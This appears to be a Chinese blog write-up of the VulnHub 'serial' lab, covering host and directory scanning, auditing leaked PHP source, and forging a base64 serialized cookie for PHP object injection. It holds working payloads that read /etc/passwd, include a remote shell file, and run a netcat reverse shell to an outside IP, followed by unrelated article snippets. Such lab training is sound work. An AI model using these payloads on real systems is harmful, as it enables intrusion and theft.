vulnhub之serial

server/2024/9/24 6:27:09/

这次我们来做这个靶场

项目地址https://download.vulnhub.com/serial/serial.zip

使用vm新建虚拟机

以下为注意事项

第一步,收集资产

扫描靶场ip

netdiscover -i eth0 -r 192.168.177.0/24

抓个包

扫描目录

看到了cookie中有一个user

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0%3D

去问问ai这是像是编码

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

看不懂,算了,爆破目录吧

dirsearch一下

下载他的备份,发现三个文件,看一看

这是每个php文件,并使用ai加了注释

index.php

<?php// 引入用户类文件 user.class.phpinclude("user.class.php");// 如果 $_COOKIE['user'] 未设置if(!isset($_COOKIE['user'])) {// 设置 cookie,使用 base64 编码和序列化后的用户对象setcookie("user", base64_encode(serialize(new User('sk4'))));} else {// 如果 $_COOKIE['user'] 已设置,则尝试反序列化并解码unserialize(base64_decode($_COOKIE['user']));}// 输出一条消息,说明这是一个新 cookie 处理器的测试版echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?phpclass Log {private $type_log; // 私有属性,用于存储日志类型的文件路径或句柄function __costruct($hnd) { // 构造函数,接受一个参数用于设置日志类型$this->$type_log = $hnd; // 将传入的日志类型参数赋值给类的属性 $type_log}public function handler($val) { // 公共方法,用于处理日志include($this->type_log); // 动态包含类属性 $type_log 指定的文件echo "LOG: " . $val; // 输出日志信息,格式为 "LOG: " 后跟 $val 的值}}
?>

user.class.php

<?phpinclude("log.class.php"); // 引入日志类文件 log.class.phpclass Welcome {public function handler($val) {echo "Hello " . $val; // 输出欢迎信息,格式为 "Hello " 后跟参数 $val 的值}}class User {private $name; // 私有属性,用于存储用户名private $wel;  // 私有属性,用于存储 Welcome 类的实例对象function __construct($name) { // 构造函数,接受一个参数 $name 用于设置用户名$this->name = $name; // 将传入的 $name 参数赋值给类的属性 $name$this->wel = new Welcome(); // 创建 Welcome 类的实例对象,并赋值给属性 $wel}function __destruct() { // 析构函数,在对象销毁时自动调用//echo "bye\n"; // 注释掉的代码,本意是在对象销毁时输出 "bye"$this->wel->handler($this->name); // 调用 Welcome 类的 handler 方法,向其传递当前对象的用户名参数 $this->name}}?>

审计完成代码,我们对抓包内容进行更改

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}

加码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

构造语句

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:25:"http://192.168.3.237/shell.txt";}}
/?cmd=rm+tmp/f%3bmkfifo+/tmp/f%3bcat+/tmpf|/bin/sh+-i+2>%261|nc+192.168.177.142+4444+>/tmp/f

网上找的攻击语句


http://www.ppmy.cn/server/95615.html

相关文章

C#中WebView2调用与交互实现

简要说明&#xff1a; 此控件实际上是 [WebView2 COM API] &#xff08;https://aka.ms/webview2&#xff09; 的包装器。 可以通过访问 Microsoft.Web.WebView2.Wpf.WebView2.CoreWebView2 属性来直接访问基础 ICoreWebView2 接口及其所有功能。 一些最常见的 COM 功能也可以…

J029_UDP通信

一、需求描述 实现UDP的通信 1.1 一发一收 1.1.1 ClientTest1 package com.itheima.udp;import java.net.*;import static java.net.InetAddress.*;//完成udp通信快速入门&#xff0c;实现一收一发 public class ClientTest1 {public static void main(String[] args) thro…

vue实现歌词滚动效果

1.结构 <template><div class"lyricScroll"><div class"audio"><audio id"audio" src"./common/周传雄-青花1.mp3" controls></audio></div><div class"container" id"contai…

GPT-4o mini一手测评:懂得不多,但答得极快

在性能方面,GPT-4o mini 在 MMLU 上的得分为 82%,在 LMSYS 排行榜的聊天方面分数优于 GPT-4。 OpenAI 突然上线新模型 GPT-4o mini, 声称要全面取代 GPT-3.5 Turbo。 在性能方面,GPT-4o mini 在 MMLU 上的得分为 82%,在 LMSYS 排行榜的聊天方面分数优于 GPT-4。 在价格…

太坑了!RabbitMQ+PHP开发的辛酸经历

博主介绍&#xff1a;全网粉丝10w、CSDN合伙人、华为云特邀云享专家&#xff0c;阿里云专家博主、星级博主&#xff0c;51cto明日之星&#xff0c;热爱技术和分享、专注于Java技术领域 &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅…

《Unity3D网络游戏实战》学习与实践--制作一款大乱斗游戏

角色类 基类Base Human是基础的角色类&#xff0c;它处理“操控角色”和“同步角色”的一些共有功能&#xff1b;CtrlHuman类代表“操控角色”​&#xff0c;它在BaseHuman类的基础上处理鼠标操控功能&#xff1b;SyncHuman类是“同步角色”类&#xff0c;它也继承自BaseHuman&…

计时器(Python)

代码 import time from tkinter import ttk import threading from tkinter import scrolledtext import tkinter as tkclass TimerApp:def __init__(self, root):self.root rootself.root.title("计时器")self.screen_w, self.screen_h self.root.winfo_screenwi…

Mybatis面试

Mybatis 面试 1、Mybatis 的执行流程是什么&#xff1f; 1、读取MyBatis配置文件&#xff1a;mybatis-config.xml 加载运行环境 和 映射文件 2、构造会话工厂 SqlSessionFactory &#xff08;全局只有一个&#xff09; 3、会话工厂创建SqlSession对象&#xff08;项目与数据…